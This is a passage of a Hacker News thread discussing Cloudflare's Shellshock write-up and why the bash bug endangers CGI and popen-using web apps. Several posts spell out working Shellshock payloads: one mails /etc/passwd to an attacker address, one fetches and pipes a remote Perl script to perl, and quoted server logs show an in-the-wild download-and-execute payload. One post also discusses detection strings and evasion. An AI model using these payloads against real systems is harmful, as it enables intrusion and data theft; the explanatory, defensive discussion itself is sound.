Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Inside Shellshock: How hackers are using it to exploit systems

blog.cloudflare.com

Post reply on HN
Print view View original

41–50 of 94 posts

Re: Inside Shellshock: How hackers are using it to exploit systems

#41

Post by lutusp »

morgante wrote: post #35

Perhaps someone could enlighten me, but even after reading this and several other articles about Shellshock I really don't understand why we should be so concerned. As I understand it, user input somehow has to make its way to a shell for Shellshock to matter. I honestly can't imagine why 99.9999% of websites would ever do that—even without Shellshock, it sounds horribly insecure and dangerous to let user input anywh…

> Perhaps someone could enlighten me, but even after reading this and several other articles about Shellshock I really don't understand why we should be so concerned.

Definitely read on.

> Heartbleed was scary because modern, highly secure websites were vulnerable. Is that even remotely the case with Shellshock?

Yes, because if Bash were sufficiently secure, then setting the value of an environment variable would be benign and harmless. If, on the other hand, bash executes arbitrary code while setting the value of an environment variable, this can cause a common and well-understood safe action to become extraordinarily dangerous. Consider this imaginary example at a website:

Enter name --

First: John

Last: Smith

Not much excitement here, unless Bash has the Shellshock vulnerability, in which case:

Enter name --

First: () { :;}; cat /etc/passwd | mail hacker@somewhere.com

Here's why this is dangerous -- the file /etc/passwd is locally world-readable, which ordinarily doesn't matter because an outsider can't either read it or export it to another place. But if this sensitive file could be exported to another place (and if it has the content this file ordinarily doesn't have in modern times), its contents could be decoded very rapidly without any multi-second pauses between tries or lockouts after several failed attempts such as are normal in a hacker's login attempt.

One method for breaking into a system is to get a copy of /etc/passwd that can then be read over and over again at high speed, then submit the file to a password cracking program. Such a program requires a local copy of /etc/password to succeed, and the above hack provides it.

BTW I tested the above hack and it would work, if (1) a CGI script is written in a particularly careless way (no input sanitizing in place), and if (2) /etc/passwd had the content it had several years ago before this specific attack method became obvious.

Re: Inside Shellshock: How hackers are using it to exploit systems

#42

Post by nitrogen »

morgante wrote: post #35

Perhaps someone could enlighten me, but even after reading this and several other articles about Shellshock I really don't understand why we should be so concerned. As I understand it, user input somehow has to make its way to a shell for Shellshock to matter. I honestly can't imagine why 99.9999% of websites would ever do that—even without Shellshock, it sounds horribly insecure and dangerous to let user input anywh…

Shells are used in many obscure and surprising ways on UNIX-like systems. Not just direct CGI use. See some of my prior comments about shellshock for some of those ways.

Re: Inside Shellshock: How hackers are using it to exploit systems

#43

Post by nitrogen »

meowface wrote: post #16
Gygash wrote: post #13

Earlier quoted context omitted.

`:;' is not the best string to use to identify shellshock exploit attempts, as the contents of the function are ignored and can change. Searching for `() {' _should_ (and I'm happy to be corrected here) find most attempts at exploiting, since that's the key sequence that triggers bash's "parse this environment variable as a function" behaviour.

Upon researching this, "() {" will always catch this. If you look at the bash source code, the relevant parsing function checks if an environment variable begins with the literal 4-character string of "() {". That's why it's pretty easy to detect exploits: you can't do anything to evade a filter checking for this in an HTTP header. An HTTP server should not be doing any decoding of an HTTP header that could result in…

Upon researching this, "() {" will always catch this.

Unless the input is decoded in some way before reaching an environment variable. E.g. HTML entities, hex escapes (percent or backslash), gzip, ... Best just to patch bash and switch to a different /bin/sh.

Re: Inside Shellshock: How hackers are using it to exploit systems

#44

Post by nitrogen »

barosl wrote: post #30
smtddr wrote: post #20

118.192.48.6 - - [28/Sep/2014:20:30:22 +0000] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 404 767 " http://www.baidu.com" "() { :; }; echo X-Bash-Test: `echo iOGFtdnW7o`;" My app runs on bottlepy.org, so I assume I'm not at risk? I don't do any popen() stuff.

Even if you use popen() or system() in your application, Debian/Ubuntu machines are not affected. These distributions don't use bash for /bin/sh. `dash`(Debian ash) is used instead. Good work, Debian!

Debian has lots of Bash scripts in /usr/bin. Make sure you aren't indirectly using any of them. Or just patch Bash.

Re: Inside Shellshock: How hackers are using it to exploit systems

#45

Post by morgante »

lutusp wrote: post #41
morgante wrote: post #35

Perhaps someone could enlighten me, but even after reading this and several other articles about Shellshock I really don't understand why we should be so concerned. As I understand it, user input somehow has to make its way to a shell for Shellshock to matter. I honestly can't imagine why 99.9999% of websites would ever do that—even without Shellshock, it sounds horribly insecure and dangerous to let user input anywh…

> Perhaps someone could enlighten me, but even after reading this and several other articles about Shellshock I really don't understand why we should be so concerned. Definitely read on. > Heartbleed was scary because modern, highly secure websites were vulnerable. Is that even remotely the case with Shellshock? Yes, because if Bash were sufficiently secure, then setting the value of an environment variable would be…

You didn't address my concerns at all. I fully understand why Shellshock is incredibly dangerous if user input can make its way to a shell.

My question was why any reasonably designed modern web app would ever have user input anywhere near a shell. That seems like an incredibly insecure thing and I've yet to hear a single example of why any app built in the last decade would do so.

Re: Inside Shellshock: How hackers are using it to exploit systems

#46

Post by morgante »

TeMPOraL wrote: post #36
morgante wrote: post #35

Perhaps someone could enlighten me, but even after reading this and several other articles about Shellshock I really don't understand why we should be so concerned. As I understand it, user input somehow has to make its way to a shell for Shellshock to matter. I honestly can't imagine why 99.9999% of websites would ever do that—even without Shellshock, it sounds horribly insecure and dangerous to let user input anywh…

The reason for concern is that it's fairly easy for user data to reach bash at some point. Any call to system() or popen() on a system that has /bin/bash as /bin/sh (people say it's quite common) will trigger ShellShock - and that includes all cases where PHP code under Apache does that. Also you don't have to actually reference malicious input anywhere; Apache will happily pass it for you.

> Any call to system() or popen() on a system that has /bin/bash as /bin/sh (people say it's quite common) will trigger ShellShock

But is that really very often? I've literally never felt good or safe with calling system() or popen() in a production web app, and I can't imagine it being a best practice.

> Also you don't have to actually reference malicious input anywhere; Apache will happily pass it for you.

Does that really include if the environment variables aren't referenced at all? Would "popen(ls)" by itself be enough to trigger Shellshock, even if the user input is never referenced?

Re: Inside Shellshock: How hackers are using it to exploit systems

#47

Post by Anthony-G »

yeahforbes wrote: post #2

Excellent so far, although I've always thought of the entire interactive userland as the shell -- not only CLI, but also GUI, as each wraps the kernel on sort of the same plane.

That would be my understanding as well, e.g. On Microsoft operating systems, the primary shell is Windows Explorer.

Congrats to Cloudflare on this write-up. It’s interesting to have actual figures and a breakdown on how Shellshock is being exploited in the wild. Kudos for explaining the vulnerability in simple terms that a non-CLI user should be able to understand.

Re: Inside Shellshock: How hackers are using it to exploit systems

#48

Post by lutusp »

morgante wrote: post #45
lutusp wrote: post #41

Earlier quoted context omitted.

> Perhaps someone could enlighten me, but even after reading this and several other articles about Shellshock I really don't understand why we should be so concerned. Definitely read on. > Heartbleed was scary because modern, highly secure websites were vulnerable. Is that even remotely the case with Shellshock? Yes, because if Bash were sufficiently secure, then setting the value of an environment variable would be…

You didn't address my concerns at all. I fully understand why Shellshock is incredibly dangerous if user input can make its way to a shell. My question was why any reasonably designed modern web app would ever have user input anywhere near a shell. That seems like an incredibly insecure thing and I've yet to hear a single example of why any app built in the last decade would do so.

> You didn't address my concerns at all.

You asked a question, I provided the answer and example code to the actual question that you asked.

> My question was why any reasonably designed modern web app would ever have user input anywhere near a shell.

Shall I post the same answer again? Not all modern web apps guard against the kind of extreme vulnerability that Shellshock represents, and that no reasonable person would expect to exist.

> ... and I've yet to hear a single example of why any app built in the last decade would do so.

I gave you an example that is typical of many CGI scripts that exist, now, in reality, and that are perfectly safe as long as Bash is safe. The reason is that variable assignment normally belongs in a different category than code execution. The Shellshock bug mixes variable assignment with code execution, something no reasonable person could be expected to anticipate.

Re: Inside Shellshock: How hackers are using it to exploit systems

#49

Post by M4v3R »

morgante wrote: post #46
TeMPOraL wrote: post #36

Earlier quoted context omitted.

The reason for concern is that it's fairly easy for user data to reach bash at some point. Any call to system() or popen() on a system that has /bin/bash as /bin/sh (people say it's quite common) will trigger ShellShock - and that includes all cases where PHP code under Apache does that. Also you don't have to actually reference malicious input anywhere; Apache will happily pass it for you.

> Any call to system() or popen() on a system that has /bin/bash as /bin/sh (people say it's quite common) will trigger ShellShock But is that really very often? I've literally never felt good or safe with calling system() or popen() in a production web app, and I can't imagine it being a best practice. > Also you don't have to actually reference malicious input anywhere; Apache will happily pass it for you. Does tha…

Yes, it will, because:

- Apache will create an environment variable for every HTTP header that you pass to it. So if you set the User-Agent header to "() {:;}; wget http://example.com/evil.pl -O - | perl" Apache will set HTTP_USER_AGENT variable to that specific value

- Any call to popen() will spawn a shell. If it is a bash shell (very common) it will scan all environment variables, and when it does find "() {:;}; ..." it just happily executes that because of the bug.

So in reality only two things have to be true for this attack to be possible:

- you have a vulnerable shell on your server (unpatched bash)

- your backend code (let it be PHP or anything else, really) at some point spawns a shell to do some stuff (which isn't quite uncommon, many websites use some kind of processing of data they receive with external programs, or call sockets, or do other crazy stuff).

Re: Inside Shellshock: How hackers are using it to exploit systems

#50

Post by mahouse »

guylhem wrote: post #8

It is in the wild. As seen on my machine, on a domain name that I use only for email at the moment: XXX.access.log:174.143.168.121 - - [30/Sep/2014:12:40:21 -0400] "GET //cgi-bin/bash HTTP/1.0" 404 168 "-" "() { :;}; /bin/bash -c \x22wget ellrich.com/legend.txt -O /tmp/.apache;killall -9 perl;perl /tmp/.apache;rm -rf /tmp/.apache\x22" The payload is a perl script, which I posted to http://pastebin.ca/2850380 I sugges…

my $realname = '$uname';

They probably meant $uname or at least "$uname" :-)

Post reply on HN